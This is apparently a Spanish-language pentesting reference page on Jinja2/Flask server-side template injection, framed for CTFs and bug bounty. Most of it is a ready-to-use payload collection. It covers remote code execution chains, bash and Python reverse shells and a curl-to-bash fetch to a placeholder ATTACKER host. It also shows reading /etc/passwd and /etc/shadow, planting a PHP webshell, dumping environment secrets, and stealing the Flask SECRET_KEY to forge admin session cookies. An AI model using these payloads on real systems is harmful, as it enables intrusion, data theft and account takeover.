jinja2-python
Jinja2 (Python)
Section titled “Jinja2 (Python)”Jinja2 es el motor de plantillas más común en Python. Lo usan Flask (por defecto), Django (como alternativa), Ansible, SaltStack, y muchas otras herramientas. Es el motor que más aparece en CTFs y bug bounty.
# Instalaciones típicas vulnerablesfrom flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/')def index(): name = request.args.get('name', 'mundo') # VULNERABLE: concatenación directa return render_template_string(f"Hola {name}") # SEGURO: pasar como variable # return render_template_string("Hola {{ name }}", name=name)Confirmación Jinja2
Section titled “Confirmación Jinja2”{{7*7}} → 49{{7*'7'}} → 7777777 ← confirma Jinja2 (no Twig){{config}} → <Config {'DEBUG': False, 'TESTING': False, ...}>{{request}} → <Request 'http://...' [GET]>{{self}} → <TemplateReference None>Entender la jerarquía de objetos Python
Section titled “Entender la jerarquía de objetos Python”Para llegar a RCE en Jinja2 hay que navegar la jerarquía de objetos Python hasta llegar a algo que ejecute comandos del sistema. El camino más común es:
string → __class__ → __mro__ → object → __subclasses__()→ buscar una subclase que tenga acceso a os, subprocess, o __builtins__→ desde ahí llamar a os.system() o subprocess.Popen()# Paso 1: Llegar a la clase base 'object'''.__class__ # <class 'str'>''.__class__.__mro__ # (<class 'str'>, <class 'object'>)''.__class__.__mro__[1] # <class 'object'>
# Paso 2: Listar todas las subclases de object''.__class__.__mro__[1].__subclasses__()# Devuelve lista de ~200+ clases cargadas en memoria
# Paso 3: Encontrar una clase útil# Buscar: subprocess.Popen, warnings.catch_warnings, etc.Rutas de RCE
Section titled “Rutas de RCE”Ruta 1 — Via os en globals de Jinja2 (más directa)
Section titled “Ruta 1 — Via os en globals de Jinja2 (más directa)”# Jinja2 expone globals del entorno en los objetos built-in del template# cycler, joiner, namespace son objetos disponibles siempre en Jinja2
# Via cycler{{cycler.__init__.__globals__.os.popen('id').read()}}{{cycler.__init__.__globals__.os.system('id')}}
# Via joiner{{joiner.__init__.__globals__.os.popen('id').read()}}
# Via namespace{{namespace.__init__.__globals__.os.popen('id').read()}}
# Via lipsum (función built-in de Jinja2){{lipsum.__globals__['os'].popen('id').read()}}{{lipsum.__globals__.os.popen('id').read()}}Ruta 2 — Via request (Flask específico)
Section titled “Ruta 2 — Via request (Flask específico)”# request.application es la instancia de Flask{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via environ{{request.environ['werkzeug.server.shutdown']}} # (Flask dev server)
# Via request.__class__{{request.__class__.__mro__[1].__subclasses__()}}Ruta 3 — Via config (Flask específico)
Section titled “Ruta 3 — Via config (Flask específico)”# config.__class__.__init__.__globals__ da acceso a los globals del módulo Flask{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Via config.from_object si existe{{config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}Ruta 4 — Via subclases de object (más genérica)
Section titled “Ruta 4 — Via subclases de object (más genérica)”# Obtener todas las subclases{{''.__class__.__mro__[1].__subclasses__()}}
# Necesitamos encontrar el índice de una clase útil# Buscar 'catch_warnings' (tiene acceso a __builtins__)# o 'Popen' (subprocess)
# Buscar el índice automáticamente{% for i in range(500) %} {% if ''.__class__.__mro__[1].__subclasses__()[i].__name__ == 'catch_warnings' %} INDICE: {{i}} {% endif %}{% endfor %}
# Una vez encontrado el índice (típicamente ~186-197 en Python 3):{{''.__class__.__mro__[1].__subclasses__()[INDICE].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
# Via subprocess.Popen directamente (buscar su índice){% for i in range(500) %} {% if 'Popen' in ''.__class__.__mro__[1].__subclasses__()[i].__name__ %} {{i}}: {{''.__class__.__mro__[1].__subclasses__()[i].__name__}} {% endif %}{% endfor %}
# Usar Popen{{''.__class__.__mro__[1].__subclasses__()[POPEN_INDEX](['id'], stdout=-1).communicate()}}Ruta 5 — Via __builtins__ directamente
Section titled “Ruta 5 — Via __builtins__ directamente”# Acceder a __builtins__ para usar __import__{{''.__class__.__mro__[1].__subclasses__()[INDICE].__init__.__globals__['__builtins__']}}
# Si __builtins__ es un dict:{{...['__builtins__']['__import__']('os').popen('id').read()}}{{...['__builtins__']['eval']('__import__("os").popen("id").read()')}}
# Si __builtins__ es un módulo:{{...__builtins__.__import__('os').popen('id').read()}}{{...__builtins__.eval('__import__("os").popen("id").read()')}}Payloads de RCE listos para usar
Section titled “Payloads de RCE listos para usar”# ===== VERSIONES MÁS CORTAS (Flask) =====
# Via cycler — el más corto y fiable{{cycler.__init__.__globals__.os.popen('id').read()}}
# Via lipsum — alternativa{{lipsum.__globals__['os'].popen('id').read()}}
# Via request (requiere Flask con request context){{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# ===== VERSIONES UNIVERSALES (cualquier Jinja2) =====
# Via subclases — necesita encontrar el índice correcto primero# Buscar índice:{{''.__class__.__mro__[1].__subclasses__()}}
# Payload con índice encontrado:{{''.__class__.__mro__[1].__subclasses__()[186].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
# Alternativa con eval:{{''.__class__.__mro__[1].__subclasses__()[186].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}
# ===== REVERSE SHELLS =====
# Via cycler — bash{{cycler.__init__.__globals__.os.popen("bash -c 'bash -i >& /dev/tcp/ATTACKER/9001 0>&1'").read()}}
# Via cycler — Python reverse shell{{cycler.__init__.__globals__.os.popen("python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER\",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'").read()}}
# Via cycler — curl descarga y ejecuta{{cycler.__init__.__globals__.os.popen('curl http://ATTACKER/shell.sh|bash').read()}}
# Via subprocess.Popen directamente{{''.__class__.__mro__[1].__subclasses__()[POPEN_INDEX](['bash','-c','bash -i >& /dev/tcp/ATTACKER/9001 0>&1'],stdout=-1,stderr=-1).communicate()}}Leer y escribir archivos
Section titled “Leer y escribir archivos”# Leer archivo{{cycler.__init__.__globals__.os.popen('cat /etc/passwd').read()}}
# Leer con open() directamente via builtins{{''.__class__.__mro__[1].__subclasses__()[INDICE].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
# Via lipsum + open{{lipsum.__globals__['__builtins__']['open']('/etc/passwd').read()}}
# Escribir webshell al disco{{cycler.__init__.__globals__.os.popen('echo "<?php system($_GET[cmd]); ?>" > /var/www/html/shell.php').read()}}
# Leer /etc/shadow (si el proceso corre como root){{cycler.__init__.__globals__.os.popen('cat /etc/shadow').read()}}Reconocimiento desde SSTI
Section titled “Reconocimiento desde SSTI”# Sistema{{cycler.__init__.__globals__.os.popen('id').read()}}{{cycler.__init__.__globals__.os.popen('whoami').read()}}{{cycler.__init__.__globals__.os.popen('hostname').read()}}{{cycler.__init__.__globals__.os.popen('uname -a').read()}}
# Red{{cycler.__init__.__globals__.os.popen('ip a').read()}}{{cycler.__init__.__globals__.os.popen('ss -tulpn').read()}}{{cycler.__init__.__globals__.os.popen('cat /etc/hosts').read()}}
# Aplicación{{cycler.__init__.__globals__.os.popen('env').read()}}{{cycler.__init__.__globals__.os.popen('cat /proc/self/environ').read()}}{{cycler.__init__.__globals__.os.popen('find / -name "*.py" -path "*/app*" 2>/dev/null').read()}}{{cycler.__init__.__globals__.os.popen('cat app.py').read()}}{{cycler.__init__.__globals__.os.popen('cat config.py').read()}}{{cycler.__init__.__globals__.os.popen('find / -name ".env" 2>/dev/null -exec cat {} ;').read()}}
# Secretos de Flask{{config}} # SECRET_KEY, DATABASE_URI, etc.{{config.items()}}{{config['SECRET_KEY']}} # Si se conoce la clave → forjar cookies de sesiónForjar cookies de sesión de Flask
Section titled “Forjar cookies de sesión de Flask”Si se obtiene la SECRET_KEY de Flask, se pueden forjar cookies de sesión con cualquier contenido.
# 1. Obtener la SECRET_KEY{{config['SECRET_KEY']}}# o{{cycler.__init__.__globals__.os.popen('grep SECRET_KEY /app/config.py').read()}}
# 2. Forjar cookie con flask-unsignpip3 install flask-unsign
# Decodificar la cookie actualflask-unsign --decode --cookie "eyJ1c2VyIjoidXNlciJ9..."
# Forjar cookie con rol de adminflask-unsign --sign --cookie "{'user': 'admin', 'role': 'admin'}" \ --secret 'SECRET_KEY_OBTENIDA'
# 3. Usar la cookie forjada en el navegador/BurpVariables y filtros útiles de Jinja2
Section titled “Variables y filtros útiles de Jinja2”# Listar todas las variables disponibles en el contexto del template{{self.__dict__}}{{config.__dict__}}
# Acceder a variables de configuración específicas{{config.DEBUG}}{{config.TESTING}}{{config.SQLALCHEMY_DATABASE_URI}} # String de conexión a DB
# Filtros built-in de Jinja2 (pueden ser útiles para bypass){{'id'|upper}} # 'ID'{{[1,2,3]|join(',')}} # '1,2,3'{{'os'|attr('system')}} # Acceso via attr() en vez de punto
# Variables globales siempre disponibles en Jinja2:# cycler, joiner, namespace, range, lipsum, dict, class, etc.{{dict.__class__}}{{range.__class__}}SSTI en contextos especiales
Section titled “SSTI en contextos especiales”En atributos HTML (output ya en HTML)
Section titled “En atributos HTML (output ya en HTML)”# Si el template es:# <input value="{{ name }}"># y el input se refleja dentro del atributo
# Payload: cerrar atributo y añadir evento" autofocus onfocus="{{cycler.__init__.__globals__.os.popen('id').read()}}En archivos de configuración (Ansible, SaltStack)
Section titled “En archivos de configuración (Ansible, SaltStack)”# Ansible — archivo de playbook vulnerable- name: Debug debug: msg: "{{ user_input }}" # Si user_input viene de fuera
# Payload en el input:{{ lookup('pipe', 'id') }}{{ lookup('file', '/etc/passwd') }}Tabla de payloads por situación
Section titled “Tabla de payloads por situación”| Situación | Payload |
|---|---|
| Flask — más corto | {{cycler.__init__.__globals__.os.popen('CMD').read()}} |
| Flask — alternativa | {{lipsum.__globals__['os'].popen('CMD').read()}} |
| Flask con request | {{request.application.__globals__.__builtins__.__import__('os').popen('CMD').read()}} |
| Jinja2 genérico | {{''.__class__.__mro__[1].__subclasses__()[IDX].__init__.__globals__['__builtins__']['__import__']('os').popen('CMD').read()}} |
| Leer archivo | {{lipsum.__globals__['__builtins__']['open']('/etc/passwd').read()}} |
| Obtener SECRET_KEY | {{config['SECRET_KEY']}} |
| Reverse shell | {{cycler.__init__.__globals__.os.popen("bash -c 'bash -i >& /dev/tcp/ATK/9001 0>&1'").read()}} |
cycler.__init__.__globals__.oses el payload más corto y fiable para Flask. Memorizarlo es suficiente para resolver la mayoria de los SSTI de Jinja2 en CTFs y bug bounty.
Si
cycler,joinerynamespaceno están disponibles, intentarlipsumes otra función global de Jinja2 que también tiene acceso a__globals__.
Obtener la
SECRET_KEYde Flask es un hallazgo crítico aunque no se llegue a RCE: permite forjar cookies de sesión con cualquier rol o usuario, incluyendo admin.